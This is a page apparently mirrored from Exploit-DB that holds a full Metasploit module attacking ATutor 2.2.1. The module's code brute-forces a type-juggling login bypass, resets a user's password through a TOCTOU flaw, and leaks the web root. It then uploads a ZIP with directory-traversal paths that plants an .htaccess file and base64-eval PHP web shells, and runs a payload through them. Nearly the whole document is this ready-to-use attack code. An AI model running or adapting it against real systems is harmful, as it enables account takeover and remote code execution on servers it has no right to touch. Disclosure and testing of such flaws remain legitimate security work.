ATutor 2.2.1 – Directory Traversal / Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2016-03-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39639/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info={})
    super(update_info(info,
    'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
    'Description'=> %q{
     This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
     setup with display_errors set to On, which can be used to allow us to upload a malicious
     ZIP file. On the web application, a blacklist verification is performed before extraction,
     however it is not sufficient to prevent exploitation.
    
     You are required to login to the target to reach the vulnerability, however this can be
     done as a student account and remote registration is enabled by default.
    
     Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
     in order to bypass the authentication:
    
     1. confirm.php Authentication Bypass Type Juggling vulnerability
     2. password_reminder.php Remote Password Reset TOCTOU vulnerability
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
    ],
    'References' =>
    [
    [ 'URL', 'http://www.atutor.ca/' ], # Official Website
    [ 'URL', 'http://sourceincite.com/research/src-2016-09/'],# Type Juggling Advisory
    [ 'URL', 'http://sourceincite.com/research/src-2016-10/'],# TOCTOU Advisory
    [ 'URL', 'http://sourceincite.com/research/src-2016-11/'],# Directory Traversal Advisory
    [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
    ],
    'Privileged' => false,
    'Payload'=>
    {
    'DisableNops' => true,
    },
    'Platform' => ['php'],
    'Arch' => ARCH_PHP,
    'Targets'=> [[ 'Automatic', { }]],
    'DisclosureDate' => 'Mar 1 2016',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
    OptString.new('USERNAME', [false, 'The username to authenticate as']),
    OptString.new('PASSWORD', [false, 'The password to authenticate with'])
    ],self.class)
    end
    
    def print_status(msg='')
    super("#{peer} - #{msg}")
    end
    
    def print_error(msg='')
    super("#{peer} - #{msg}")
    end
    
    def print_good(msg='')
    super("#{peer} - #{msg}")
    end
    
    def check
    # there is no real way to finger print the target so we just
    # check if we can upload a zip and extract it into the web root...
    # obviously not ideal, but if anyone knows better, feel free to change
    if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
    student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
    if student_cookie != nil && disclose_web_root
    begin
    if upload_shell(student_cookie, check=true) && found
    return Exploit::CheckCode::Vulnerable
    end
    rescue Msf::Exploit::Failed => e
    vprint_error(e.message)
    end
    else
    # if we cant login, it may still be vuln
    return Exploit::CheckCode::Unknown
    end
    else
    # if no creds are supplied, it may still be vuln
    return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
    end
    
    def create_zip_file(check=false)
    zip_file= Rex::Zip::Archive.new
    @header = Rex::Text.rand_text_alpha_upper(4)
    @payload_name = Rex::Text.rand_text_alpha_lower(4)
    @archive_name = Rex::Text.rand_text_alpha_lower(3)
    @test_string= Rex::Text.rand_text_alpha_lower(8)
    # we traverse back into the webroot mods/ directory (since it will be writable)
    path = "../../../../../../../../../../../../..#{@webroot}mods/"
    
    # we use this to give us the best chance of success. If a webserver has htaccess override enabled
    # we will win. If not, we may still win because these file extensions are often registered as php
    # with the webserver, thus allowing us remote code execution.
    if check
    zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
    else
    register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
    zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
    zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    end
    zip_file.pack
    end
    
    def found
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
    })
    if res and res.code == 200 and res.body =~ /#{@test_string}/
    return true
    end
    return false
    end
    
    def disclose_web_root
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
    })
    @webroot = "/"
    @webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
    if @webroot != "/"
    return true
    end
    return false
    end
    
    def call_php(ext)
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
    'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    }, timeout=0.1)
    return res
    end
    
    def exec_code
    res = nil
    res = call_php("pht")
    if res == nil
    res = call_php("phtml")
    end
    if res == nil
    res = call_php("php4")
    end
    end
    
    def upload_shell(cookie, check)
    post_data = Rex::MIME::Message.new
    post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
    post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
    data = post_data.to_s
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
    'method' => 'POST',
    'data' => data,
    'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
    'cookie' => cookie,
    'vars_get' => {
    'h' => ''
    }
    })
    if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
    return true
    end
    # unknown failure...
    fail_with(Failure::Unknown, "Unable to upload php code")
    return false
    end
    
    def find_user(cookie)
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, "users", "profile.php"),
    'cookie' => cookie,
    # we need to set the agent to the same value that was in type_juggle,
    # since the bypassed session is linked to the user-agent. We can then
    # use that session to leak the username
    'agent' => ''
    })
    username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
    if username
     return username
    end
    # else we fail, because we dont know the username to login as
    fail_with(Failure::Unknown, "Unable to find the username!")
    end
    
    def type_juggle
    # high padding, means higher success rate
    # also, we use numbers, so we can count requests :p
    for i in 1..8
    for @number in ('0'*i..'9'*i)
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path, "confirm.php"),
    'vars_post' => {
    'auto_login' => '',
    'code' => '0'# type juggling
    },
    'vars_get' => {
    'e' => @number,# the bruteforce
    'id' => '',
    'm' => '',
    # the default install script creates a member
    # so we know for sure, that it will be 1
    'member_id' => '1'
    },
    # need to set the agent, since we are creating x number of sessions
    # and then using that session to get leak the username
    'agent' => ''
    }, redirect_depth = 0)# to validate a successful bypass
    if res and res.code == 302
    cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
    return cookie
    end
    end
    end
    # if we finish the loop and have no sauce, we cant make pasta
    fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
    end
    
    def reset_password
    # this is due to line 79 of password_reminder.php
    days = (Time.now.to_i/60/60/24)
    # make a semi strong password, we have to encourage security now :->
    pass = Rex::Text.rand_text_alpha(32)
    hash = Rex::Text.sha1(pass)
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path, "password_reminder.php"),
    'vars_post' => {
    'form_change' => 'true',
    # the default install script creates a member
    # so we know for sure, that it will be 1
    'id' => '1',
    'g' => days + 1,# needs to be > the number of days since epoch
    'h' => '',# not even checked!
    'form_password_hidden' => hash, # remotely reset the password
    'submit' => 'Submit'
    },
    }, redirect_depth = 0)# to validate a successful bypass
    
    if res and res.code == 302
    return pass
    end
    # if we land here, the TOCTOU failed us
    fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
    end
    
    def login(username, password, check=false)
    hash = Rex::Text.sha1(Rex::Text.sha1(password))
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path, "login.php"),
    'vars_post' => {
    'form_password_hidden' => hash,
    'form_login' => username,
    'submit' => 'Login',
    'token' => '',
    },
    })
    # poor php developer practices
    cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
    if res && res.code == 302
    if res.redirection.to_s.include?('bounce.php?course=0')
    return cookie
    end
    end
    # auth failed if we land here, bail
    unless check
    fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
    end
    return nil
    end
    
    def report_cred(opts)
    service_data = {
    address: rhost,
    port: rport,
    service_name: ssl ? 'https' : 'http',
    protocol: 'tcp',
    workspace_id: myworkspace_id
    }
    
    credential_data = {
    module_fullname: fullname,
    post_reference_name: self.refname,
    private_data: opts[:password],
    origin_type: :service,
    private_type: :password,
    username: opts[:user]
    }.merge(service_data)
    
    login_data = {
    core: create_credential(credential_data),
    status: Metasploit::Model::Login::Status::SUCCESSFUL,
    last_attempted_at: Time.now
    }.merge(service_data)
    
    create_credential_login(login_data)
    end
    
    def exploit
    # login if needed
    if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
    report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
    student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
    print_good("Logged in as #{datastore['USERNAME']}")
    # else, we reset the students password via a type juggle vulnerability
    else
    print_status("Account details are not set, bypassing authentication...")
    print_status("Triggering type juggle attack...")
    student_cookie = type_juggle
    print_good("Successfully bypassed the authentication in #{@number} requests !")
    username = find_user(student_cookie)
    print_good("Found the username: #{username} !")
    password = reset_password
    print_good("Successfully reset the #{username}'s account password to #{password} !")
    report_cred(user: username, password: password)
    student_cookie = login(username, password)
    print_good("Logged in as #{username}")
    end
    
    if disclose_web_root
     print_good("Found the webroot")
     # we got everything. Now onto pwnage
     if upload_shell(student_cookie, false)
    print_good("Zip upload successful !")
    exec_code
     end
    end
    end
    end
    
    =begin
    php.ini settings:
    display_errors = On
    =end